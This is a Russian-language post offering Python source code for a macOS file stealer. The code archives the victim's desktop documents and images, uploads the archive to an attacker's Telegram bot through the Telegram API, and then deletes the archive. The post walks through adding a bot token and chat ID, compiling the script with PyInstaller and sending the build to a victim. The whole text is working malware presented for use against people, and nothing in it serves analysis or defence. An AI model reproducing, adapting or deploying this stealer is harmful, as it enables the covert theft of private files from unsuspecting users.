November 29, 2023
MAC OS СТИЛЛЕР | 𝐌𝐀𝐌𝐊𝐈𝐍 𝐓𝐄𝐌𝐒𝐇𝐈𝐊
Исходник стиллера на MacOS который стиллит все файлы с рабочего стола жертвы, написан на Python. Доступные форматы: *.txt|*.rtf|*.jpg|*.png|*.doc|*.docs если вам нужны файлы с другими форматами дописываете их сюда:
Принцип работы
Создаете Telegram бота и вставляете его API: bot_token = 'тут токен бота'
Логи будут приходить только на тот Telegram аккаунт, ID которого вы укажете в коде: hat_id = 'ваш телеграм ид'
После чего билдим файл и отправляем жертве. После запуска все файлы с рабочего стола упакуются в архив и отправятся вам в Telegram бота.
Код
import os import glob import zipfile import requests # Токен бота bot_token = 'тут токен бота' # ID чата, куда будут отправляться файлы chat_id = 'ваш телеграм ид' # Путь к рабочему столу desktop_path = os.path.join(os.environ['HOME'], 'Desktop') # Шаблон для поиска файлов file_pattern = '*.txt|*.rtf|*.jpg|*.png|*.doc|*.docs' # Название архива zip_filename = 'files.zip' # Имя папки, которая будет добавлена в архив zip_folder_name = 'files' # Итерируемся по всем найденным файлам и добавляем их в архив with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zip_file: for file_path in os.listdir(desktop_path): if file_path.endswith(('.txt', '.rtf', '.jpg', '.png', '.doc', '.docs')): full_path = os.path.join(desktop_path, file_path) rel_path = os.path.relpath(full_path, desktop_path) zip_file.write(full_path, arcname=os.path.join(zip_folder_name, rel_path)) # Открываем архив и отправляем его в чат with open(zip_filename, 'rb') as f: response = requests.post( f'https://api.telegram.org/bot{bot_token}/sendDocument', data={ 'chat_id': chat_id, }, files={ 'document': (zip_filename, f, 'application/zip'), }, params={ 'caption': 'All files in archive', } ) if response.status_code != 200: print(f'Failed to send message. Status code: {response.status_code}') # Удаляем архив os.remove(zip_filename)
Компиляция кода
Terminal: pip install pyinstaller -> pyinstaller <имя_файла>.py